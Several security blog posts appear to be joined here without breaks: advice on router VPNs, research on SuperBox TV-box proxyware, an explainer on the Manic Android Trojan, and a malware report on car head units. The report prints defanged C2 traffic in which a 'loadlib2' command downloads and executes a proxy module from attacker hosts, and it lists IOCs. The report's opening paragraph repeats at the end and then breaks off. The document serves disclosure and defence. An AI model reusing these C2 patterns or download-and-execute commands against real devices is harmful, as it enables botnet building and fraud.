VPN use is growing around the world, with the worldwide average holding steady at 20% growth per year. Users have come to appreciate everything a VPN offers: it encrypts your connection, shields you from relentless ISP tracking (and the targeted ads that often come with it), hides your IP address and location, and lets you keep using your favorite paid services while traveling. This matters most at big public events, like international football tournaments, the Olympics, or concerts by popular performers, where the odds of scammers intercepting an unprotected Wi-Fi connection go up sharply.

That said, VPNs come with their own frustrations. One of the biggest is that many smart devices – including TVs, game consoles, streaming boxes, and smart-home gadgets – can’t run a VPN at all. On top of that, you usually have to set up the VPN separately on every single device in your home. Installing the VPN directly on your home router solves both problems at once: it protects your entire home network, including newly added devices. Here’s a closer look at what benefits that setup gives you.

1. Every device gets VPN protection

Turn on a VPN on your router, and every device connected to your home Wi-Fi automatically sends its traffic through that protected, encrypted connection. There’s nothing extra to do: connect your phone, laptop, or TV to the Wi-Fi, and its traffic is already routed through the VPN.

Many paid VPN services cap the number of devices you can use under a single subscription. But your router only counts as one device on that list, even though it might be protecting a dozen or more gadgets in your home at once.

It’s worth noting that installing a VPN on a router is usually only possible with paid VPN services. Free plans typically don’t offer this option, or only allow it in a very limited way.

2. Set it up and forget it

Setting up a VPN on every phone and computer in the house can get tedious fast. And if your home devices run on a mix of operating systems, you’ve to start by locating the VPN settings on each one, since Android, Windows, iOS, and macOS all handle this differently.

With a router setup, you configure the VPN once, and it automatically covers any new device you connect later too.

3. Protection even for devices that don’t support VPN

Plenty of devices can’t run a VPN at all. That includes smart TVs, streaming boxes, game consoles, and nearly every piece of smart-home tech out there, from baby monitors to robot vacuums. A VPN on your router protects all of them, and you don’t have to tinker with your vacuum cleaner or smart bulb’s settings separately.

4. No need to worry about turning the VPN on and off

Many people want to make sure that not a single byte of their data leaves their device before the VPN kicks in. The problem is that there’s always a short gap between turning on a computer or phone and the VPN firing up, and during that window, data travels over the internet unencrypted.

The usual fixes are to turn on special features – such as Always On VPN or a VPN kill switch – in the operating system or VPN app. A more effective option though is running the VPN on the router itself. That way, “not a byte without the VPN” becomes true automatically for every device on your home network. But for complete peace of mind, you’ll still want to set up a kill switch on the router too, so that if the VPN ever disconnects (say, the VPN server becomes temporarily unavailable), your devices lose their internet connection entirely rather than falling back to an unprotected one.

5. Working remotely with two VPNs at once

Another common headache is needing to run two VPN services at the same time. This usually comes up with remote work: you need a corporate VPN to connect to your company’s network, while also wanting a personal VPN for everything else. On many devices, running two VPN connections at once for different purposes is either a real hassle to configure or not possible at all. Constantly switching between the two isn’t convenient either, and it opens up privacy and security gaps.

A VPN on your router solves this too. You simply turn on the corporate VPN on your work computer, and it runs on top of your Wi-Fi connection, which is already protected by your personal VPN on the router. In effect, you end up with one VPN nested inside the other (corporate VPN → Wi-Fi → VPN → internet), but this layered setup rarely causes any issues.

6. Getting around apps that block VPNs

Some banking and streaming apps can detect when a VPN app is running on your device and simply refuse to work. Usually, they can’t tell what kind of VPN it is or why you’re using it. They just object to any VPN connection being active at all. If the VPN runs on your router instead of on the device itself, this problem disappears.

7. Protecting guests on your home network

Any device belonging to friends or family that connects to your Wi-Fi automatically gets VPN protection too, with no setup required on their end.

8. Less strain on your devices

Since the router handles the encryption workload, your phones, tablets, and other lightweight devices can use less computing power and drain less battery than they would if running a VPN themselves.

9. Simplified VPN management

Need to switch VPN servers, change protocols, or tweak other settings? Just do it once, on the router. There’s no need to reconfigure every device separately.

Precautions and things to keep in mind

For all its advantages, running a VPN on your router does come with a few trade-offs worth knowing about.

• Encrypting traffic for an entire network takes real processing power, so on an underpowered router, your connection speed may end up limited.
• Some routers don’t support VPNs at all, or only work with older, less secure protocols like PPTP.
• If your router was issued by your ISP, you may not have enough permissions to install a VPN on it.

In any of these cases, you can buy a more capable router that supports VPNs, and use it either instead of, or alongside the ISP-issued box, setting up your home network and VPN on your own hardware.

With this setup, your devices connect as follows: device → Wi-Fi or Ethernet → personal VPN on router → internet. For computers that also connect to a corporate VPN, the path looks slightly different: corporate VPN on computer → Wi-Fi or Ethernet → personal VPN on router → internet.

If you can’t connect your own router directly to your ISP’s network because your model lacks the right port (for example, with a fiber connection), you can use an Ethernet cable to plug your personal router’s input into your provider’s box. In that case, you can either switch the ISP-issued router into bridge mode or simply turn off its Wi-Fi so it doesn’t add unnecessary wireless clutter, since its only job now is connecting to the provider’s network and passing that connection along to your own router.

It’s also worth noting that some online services – like banks, government sites, online stores, and streaming platforms – may restrict or block access entirely when they detect a foreign IP address through a VPN. To get around this, you can either turn off Wi-Fi on your phone and use your mobile data instead, or take a more sophisticated approach to your router setup, as described below.

Most modern routers let you create more than one Wi-Fi network, usually supporting at least a separate home and guest network, each with their own settings. You can use this to create two networks: one with the VPN always on, and one without. Then, for services that don’t play well with VPNs, you can simply switch to the unsecured Wi-Fi network instead.

If you’re willing to spend some more time on setup, there’s an even more convenient option, known as split tunneling: individually configuring certain services or websites to bypass the VPN while sending everything else through your secure VPN connection as usual. To do this, you’ll need to specify the addresses of the sites that should skip the VPN.

Many feature-rich routers also let you divide your home devices into groups and set different connection rules for each group. That way, you could set things up so your smart TV reaches streaming services without a VPN, while your smart home devices, computers, and phones only ever connect to the internet through the protected channel.

How to set up a VPN on your router

Setting up a VPN on your router might sound more complicated than installing it on individual devices, but it delivers far more comfort and protection for your whole home network.

To do this, you’ll need a router that supports VPNs, and a subscription to a VPN service that can generate configuration files for routers using modern VPN protocols. Kaspersky VPN supports the two most widely used VPN protocols – OpenVPN and WireGuard – for connecting routers to the service.

You can create a Kaspersky VPN configuration file for your router by following our detailed guide. For instructions specific to your router model, we recommend searching online or asking an AI assistant something like “how to set up a VPN on {your router model}“.

In 2026, the owner of an ordinary home router, smart TV, or TV box is a prime target for cybercriminals. These devices are readily recruited into botnets and residential proxy networks, which we’ve covered before.

Criminals “sublease” the infected device by letting outsiders pay to visit any website from the victim’s IP address, so it looks like the device’s owner is doing it. The service is in demand across all kinds of shady schemes: from ad fraud and spam campaigns to password bruteforcing and account hacking. In our previous post, we described how home routers get recruited into these proxy networks; today we take a look at an even more vulnerable, and equally ubiquitous category of devices: smart TVs and TV boxes.

These appeal to criminals for two reasons. First, unlike computers and smartphones, TVs are almost always plugged into the power and have a fast internet connection. A dark screen doesn’t mean the device is switched off. On top of that, the limited user interface and monitoring tools mean suspicious background processes can easily slip unnoticed past users.

The threat is evolving and growing more aggressive. A recent study found that once proxyware turns up on a set-top box, the risks to its owner go well beyond having their traffic siphoned off.

Anatomy of the infection

The researchers focused on a popular TV box by SuperBox, which we already covered earlier in the post Is your TV box renting out your network?

SuperBox’s marketing leans heavily on the promise of providing thousands of TV channels, with no subscription or monthly fees. But out of the box, the device can’t actually do anything of the sort. To get access to pirated content, you need to install the brand’s proprietary app store.

When you launch it and install additional apps, the thousands of TV channels do appear. Meanwhile behind the scenes, with no warnings or permission prompts, the device floods external sites with unauthorized requests, and network traffic spikes sharply.

The researchers uncovered several alarming facts. First, the victim gets enrolled into as many as five botnets at once. The SuperBox runs clients for several proxyware networks simultaneously, which even try to compete with one another by blocking rival software from being installed.

But the real shock was the attacks on the internal network. The TV box’s proxyware places no limits on what its paying clients can actually do on the network. They can reach not only external sites but also devices inside your home network.

Normally, your home router and ISP settings protect you from outside attacks. But proxyware bypasses these barriers because it operates from inside the network. During an experiment, the researchers confirmed that an attacker on the internet can easily leverage the infected set-top box to open the admin panel of a home router, such as a Linksys, which is supposed to be accessible only to its owner when connected to the home Wi-Fi network. This means hackers can try to steal data from other devices in the same household, or even encrypt home network storage (NAS).

At the same time, flaws in SuperBox’s factory firmware let hackers remotely install and run any application with superuser privileges, and the threat is anything but hypothetical. Over three weeks of monitoring, the test set-top box was hit by more than 1300 attacks through the home proxy network. Attackers installed three different types of malware, including a module for launching DDoS attacks.

The malware uses several methods to gain a foothold in the system, and it survives reboots and power failures alike.

How to tell if your set-top box is working for hackers

If you have a cheap TV set-top box or Android TV from a little-known brand, it’s worth checking it for anomalies.

The most reliable method is to review the network traffic. Use the statistics in your router’s control panel, but note that some budget models may lack this feature. This feature is called Traffic Analyzer on Asus routers, Traffic Usage on TP-Link, and Traffic Monitor on Keenetic. Find your TV or set-top box in the device list and check the ratio of downloaded to uploaded data. They should consume a lot of traffic to download video while sending very little. If your box is quietly pushing gigabytes of data out or staying chatty on the network even while idle, that’s a telltale sign it’s infected.

If traffic statistics aren’t available, look for indirect signs:

• The network and memory activity LEDs won’t stop blinking even though no one’s using the device.
• The set-top box’s casing is constantly warm or hot.
• The interface lags behind the remote, and the box freezes at random moments that have nothing to do with heavy video playback.
• Your other devices (computers or phones) are seeing a real drop in internet speed.
• When trying to visit familiar sites over your home Wi-Fi, you’re constantly hit with a CAPTCHA — a sign your network may be compromised and flagged as a spam source.
• Your ISP’s tech support calls you asking about suspicious network loads.

What to do with an infected device

The best solution is to disconnect the device from the internet and dispose of it. If you have to keep using it, follow these steps to minimize the risks:

1. Do a factory (hard) reset. Restore the set-top box to its original state.
2. Take it offline before setting up again. The first time you turn it on after a reset, skip the Wi-Fi setup step and don’t plug in the Ethernet cable.
3. Block app installation. Go to Android settings and disable installation of apps from unknown sources. Be sure to turn off any debugging features if enabled: USB debugging, Wireless debugging, and ADB. Menu item names may differ depending on your Android version and device manufacturer.
4. Isolate it on the network. Set up a guest Wi-Fi network on your router and connect the TV box to it. Enable Client Isolation in your router’s settings, if it has it. This will stop the box from seeing other devices on your home network, which protects your computers and network storage.
5. Check for updates. Once the box is connected to the guest network, check for official firmware updates: manufacturers sometimes patch known vulnerabilities, though with lesser-known brands, you shouldn’t count on it.

Your most reliable safeguards

Buying cheap devices with pirate streaming features and installing software from shady sources is a surefire way to compromise your home network. Your IP address will become a source of malicious activity, which at best gets you blocked by your ISP and at worst puts you on law enforcement’s radar. What’s more, hackers can use the box as a launchpad to attack your home computers and NAS, which can lead to personal data theft or a ransomware attack.

The best protection is to buy devices from trusted brands and pay for legal content. And to rule out someone hijacking control of your network, make sure your router’s admin panel and other home devices are protected with unique, strong passwords. To avoid having to remember them all, use a reliable password manager such as Kaspersky Password Manager. Additionally, the Smart Home Monitor feature included in Kaspersky Premium lets you keep all your devices fully under control.

There may be more things you don’t know about your smart home devices:

• Is your TV box renting out your network?
• Are your TV, smartphone, and smart speakers eavesdropping on you?
• Five rules to stop IP cameras from spying on you
• The hidden risks of cheap Android devices
• Is your router secretly working for foreign intelligence?

Cybersecurity researchers have discovered a new family of Android malware, and it goes by the name of Manic. It lets criminals spy on their victims, steal banking credentials, and take remote control of infected devices.

But its most unusual trick is this: Manic can send stolen data back to attackers even when the given device has no internet connection. Apparently, random mobile internet outages seem to get in cybercriminals’ way just as much as anyone else’s, so the actors behind Manic came up with an unusual workaround.

People across a wide range of European countries are at risk, from Russia to the United Kingdom. In this post, we walk through what this Trojan can actually do, how it smuggles stolen data out to attackers, and how you can protect your Android device from Manic and other similar threats.

How Manic spreads, and who’s at risk

Researchers haven’t yet pinned down exactly how attackers are getting Manic onto people’s devices. Typically, malware like this spreads through channels like:

• Infected apps on legitimate app stores
• Malicious APK files shared on pirate websites
• Download links sent through messaging apps and email
• Scam sites

Google has told journalists it hasn’t found any trace of Manic spreading through apps on the Google Play Store. That suggests people are most likely installing infected apps from unofficial sources.

Experts have traced the beginnings of the attackers’ infrastructure for this campaign to February 2026. The earliest samples of the malware itself turned up in late May of this year. Since then, the criminals behind the Trojan have refined the ways it hides from detection on a victim’s device.

Manic currently combines the powers of a banking Trojan, spyware, and a remote-access tool that lets an attacker control the device. Attackers are especially interested in data from sources like:

• Banking apps and payment services
• Official government apps
• Crypto wallets and cryptocurrency exchanges
• Two-factor authentication apps
• Text messages and notifications: mainly the one-time codes used to verify logins or approve transactions

By looking at which banking apps Manic targets, researchers have been able to work out which countries it has in its sights. It turns out its reach is broad, covering Austria, the Czech Republic, Estonia, France, Germany, Lithuania, the Netherlands, Poland, Russia, Slovakia, Spain, Ukraine, and the United Kingdom.

Stolen passwords, intercepted codes, remote control: what Manic can actually do

Let’s look at exactly what information Manic steals, and how it manages to get it. The malware’s main trick relies on abusing Android’s Accessibility services, a set of built-in features designed to help users with visual impairments. Used as intended, these features are genuinely helpful for people with vision loss. But criminals have long been quietly exploiting the very same tools for their own purposes.

Once a user grants an app permission to use Accessibility services, that app can “see” the text and buttons on the screen, interact with them, scroll through pages, and carry out actions automatically — all as if a user were doing it themselves. Attackers use this to read messages on screen, quietly grant the malware extra permissions, interfere with attempts to uninstall it, switch off security protections, or control other apps without the victim ever noticing.

With Manic, this abuse of Accessibility services is paired with the Trojan’s own advanced capabilities. It can generate an invisible keyboard that overlays the phone’s real one. When a user types their password to log in to a banking app, Manic records exactly which keys they pressed. Then it uses Accessibility services to instantly replay that same keystroke on the actual app keyboard.

This means attackers don’t have to build a fake login screen for every single app they want to target. Because Manic works as an invisible layer sitting on top of the genuine app, everything looks and behaves as usual, so a phone owner has no reason to suspect they’re handing over their PIN or password to a criminal.

Manic doesn’t simply log everything a user types, either. It automatically recognizes what kind of information it has just captured and sorts it into categories: passwords, email logins, four-to-six-digit SMS codes, strings of characters that look like crypto wallet seed phrases, and phone unlock codes or pattern locks. Alongside the captured text itself, Manic also records which app it came from, when it was entered, whether the user typed it manually or used autofill, and whether that app is on its hit list.

Manic’s abilities don’t stop at collecting information. Using Accessibility services once again, it also lets attackers take remote control of an infected device. To conceal this activity, Manic can show a black screen or fake a system update.

On top of Accessibility services, the malware also asks for permission to read text messages and notifications. That lets attackers intercept two-factor authentication codes and one-time verification codes before a victim even has a chance to type them into the app.

Put together, this hands attackers not just passwords, banking credentials, and verification codes, but the ability to remotely control the victim’s phone as well.

Even being offline won’t save you from data theft

Manic’s original method for relaying stolen data off the device and back to the attackers deserves a separate mention. Even today, devices get knocked offline more often than people might expect, and Manic’s creators built a workaround specifically for such situations.

Normally, malware like this collects information on the device and sends it straight to a server controlled by the attackers. But what happens when the infected device has no direct internet access, or can’t reach the command-and-control server for some other reason?

In that case, Manic simply stores the stolen data on the device and starts scanning nearby for other infected phones it can reach over Wi-Fi or Bluetooth. If it finds one with internet access, it hands over the encrypted data to that phone, which then forwards it on to the attackers’ server.

But it doesn’t stop there. Data can hop across a chain of infected devices. By default, Manic allows up to four of these relay devices in the chain. If no suitable device is nearby, the data simply stays on the original phone, and Manic tries again later.

How to protect your phone from Manic and other banking Trojans

Android malware keeps getting more sophisticated. That makes it worth remembering — and actually following — a few basic digital hygiene habits for Android phone and tablet users:

• Avoid installing apps from unofficial sources.
• Don’t grant apps permission to use Accessibility services unless this is absolutely necessary and you understand exactly why they need it.
• Install reliable security software on all your devices, run scans regularly, and take its warnings and recommendations seriously. We recommend Kaspersky for Android. Our Android security apps are temporarily unavailable on the Google Play Store, so to install them on an Android device we recommend using an alternative app store or installing the APK file manually from our website. A full step-by-step guide is available in our post, How to install or update Kaspersky apps for Android in 2026.

Malware doesn’t just target smartphones; it feels at home on other Android-powered devices too — from streaming boxes to… cars. Check out the details in our related posts:

• Botnet on the road: the first Trojan for car head units
• Qualcomm vulnerability: phone repairs and car maintenance are no longer safe
• Is your TV box renting out your network?
• Android Trojan posing as government services and Starlink apps
• The perfect storm of Android threats

While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.

Key findings:

• We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
• The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
• We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.

Kaspersky solutions detect the threats described below under the following detection names:

• HEUR:Trojan-Dropper.AndroidOS.Agent.vu
• HEUR:Trojan-Downloader.AndroidOS.Agent.ov
• HEUR:Trojan-Proxy.AndroidOS.Zhima.*
• HEUR:Trojan.AndroidOS.Vo1d.*

Head unit firmware overview

A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.

In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.

Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.

It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.

During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.

Below is the entire infection chain:

Let’s look at exactly how these head units became infected.

The TWCore app

TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.

The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.

The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.

Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.

Next, we’ll break down the malware installed by TWCore: the JarService dropper.

Stage 1: the JarService dropper

As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.

In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.

Stage 2: the loader

This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:

{
    "userId": "REDACTED",
    "dexVersion": "1.7",
    "dexType": 1,
    "channelId": "2039",
    "packageName": "com.tw.jar1",
    "appVersion": 12,
    "appName": "JarService"
}

In response to the POST request, the C2 server returns a link for downloading the stage 3 payload. An example of a C2 response is shown below.

{
    "code": 200,
    "data": {
        "dexUrl": "hxxp://144.217.243[.]201/vr34der34/dex3.68.png",
        "dexVersion": 3.680,
        "status": 0
    }
}

The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.

In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.

While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.

Stage 3: clicker / reverse proxy loader

In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.

{
    "code": 100,
    "data": {
        "configVersion": 3.820,
        "hosts": ["hxxp://t2.kshahnd[.]sbs", "hxxp://t2.mdsjhd[.]sbs", "hxxp://t2.nmnsny[.]sbs", "hxxps://t2.nmnsny[.]sbs"],
        "interval": 5500000,
        "reportApi": "/cpc/api/report",
        "tagName": "config",
        "taskApi": "/cpc/api/task",
        "updates": ["hxxp://a2.kshahnd[.]sbs", "hxxp://a2.mdsjhd[.]sbs", "hxxp://a2.nmnsny[.]sbs", "hxxps://a2.nmnsny[.]sbs"],
        "vn": 1.010
    }
}

If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.

{
    "code": 200,
    "data": [{
        "productId": 979,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"107.151.248[.]132\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 1337\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1778650942
    }, {
        "productId": 1019,
        "script": "{\n  \"loadType\": 1,\n  \"reload\": true,\n  \"method\": \"start\",\n  \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md52\": \"de77c3303e93c9450424759f1741441c\",\n  \"name\": \"zhima\",\n  \"className\": \"com.miyc.transfer.Client\",\n  \"thread\": true,\n  \"tagName\": \"loadlib2\",\n  \"params\": [\n    {\n      \"type\": \"Context\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"128.14.210[.]58\"\n    },\n    {\n      \"type\": \"String\",\n      \"value\": \"1002\"\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 9999\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 7777\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 8888\n    },\n    {\n      \"type\": \"int\",\n      \"value\": 15000\n    }\n  ],\n  \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n  \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}",
        "version": 1766001509
    }, {
        "productId": 3505,
        "script": "{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}",
        "version": 1776656317
    }],
    "msg": ""
}

The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.

At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.

Command name	Description	Arguments
return	Return a value from SharedPreferences.	key: the key whose value should be returned
copy	Set the contents of the clipboard.	text: the key whose value from SharedPreferences is returned as the clipboard contents url: a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with      (5 spaces) used as a separator
http	Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key.	url: the resource address method: the HTTP method name (optional) startLabel: a marker for the start of the data to save from the resource (optional) endLabel: a marker for the end of the data to save from the resource (optional) valueLabel: the key under which to save the value (optional) header: a dictionary of headers for the HTTP request (optional) content: the content of the POST request (optional)
web	Open a link in the WebView and execute arbitrary JavaScript code within it.	url: the link to open in the WebView js: base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent corejs: JavaScript code to execute when the resource loads in the WebView (optional) param: a string dictionary of parameters for launching the WebView client: if this key is present, WebViewClient is used to handle redirects manually time: task timeout
loadlib	Not fully implemented at the time of publishing this report.	–
loadlib2	Download and execute arbitrary code.	url: the address to download the payload from name: the name of the module being downloaded md5: the MD5 hash of the payload clear: a comma-separated list of payload names to delete (optional) params: an array of parameters to launch the payload with className: the class name of the payload entry point method: the name of the virtual method at the payload entry point cmethod: the name of the static method used to instantiate the entry-point class (optional) thread: a flag; the payload runs in a separate thread if this flag is not set reload: a flag that, when set, restarts already loaded modules
loadlib3	Not fully implemented at the time of publishing this report.	–
deeplink	Open a resource in the browser.	url: a link to the resource
traceroute	Check resource availability via an ICMP ping.	host: comma-separated list of resources to check

However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.

While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.

Attribution

While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.

While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.

During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.

On the registration page hosted at admin.uipoxy[.]com, we also found the string copyright © 2020 proxyforu[.]com all rights reserved, which linked to hxxps://proxyforu[.]com, the website of ProxyForU, another vendor of residential proxy services.

We found several similarities in the authentication APIs across all of these sites:

• The sign-in page was hosted on an admin.* subdomain.
• The sign-in page was located at /proxy/u/login.
• The signup page was located at /proxy/register?channelKey=<invitation code>.

Based on this, we believe these services are connected to MoYu Group.

Conclusion

Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.

Indicators of compromise

Stage 1: JarService

ba27951b4ee1c341f4415d033369ecd3
d63bacd6d6709dd68a10ef9d374c7835
6c2e34b30da42085240ede53ab6107d4
8b5e513144a6138a966ea59e68bf9da2
e119845877089d6f4b0a70dc7388f316

Stage 2: loader

e9f3a0dab6949ce2cddab9e0aa80ae1a

Stage 3: loader/clicker

0fbaa7092204f4b1494e0b840b014774
1dcf031c40ce456b6a36a00b0acf3d11
44b6b213a6a3f299eaf88e078de95ecb
67dc78e544ebce16b85dc7c195dfbc58
9642ae619b3165d23c6349002d1abe24
b067d5b0dbecbd6498bcdfba45dba77e
f0e3f7eba2cde91e2dedb921bab47422

zhima module

412e9243f2981bbea3894254d105b3b8
71ab5517f71866279d0d87d37f2ae320
89ef78f716a75964539f2db6520be362
a4223ce4288a230d1e6c3ff2c7639045
bd4d81cd27125ad3d9a114922d468499
c6bfb1643ac7474ed8a7b4f96a187fdb
de77c3303e93c9450424759f1741441c
f8cf8c23ff597700d471fb7767df8bac

Domains and IP addresses

xmsae[.]sbs
ishano456[.]sbs
xshaon123[.]sbs
kshahnd[.]sbs
mdsjhd[.]sbs
nmnsny[.]sbs
kookjar[.]com
ty54fgd435[.]my
ue886578433[.]online
ty4523[.]space
144.217.243[.]201
107.151.248[.]132
128.14.210[.]58

Addresses used to download JarService

hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2026-06-08/bd80bd3c3d0e4bf6b5b4a825650d01f5.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2025-06-10/fe71af9ecf174de48d2b2ccc2c15fb04.apk
hxxp://ovcloudcontrol.cdn.cardoor[.]cn/upgrade/2024-11-07/fa831c3c23824b99871163387bcda7ad.apk

Hashes of TWCore (the legitimate software used to distribute JarService)

2a64c3efc11bf224aa54f24e876446c9
7a4d3ba2dacccfdda55859a5dfee2671
ea24487996eb70c1780922fb3063bcc5

While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.

Key findings:

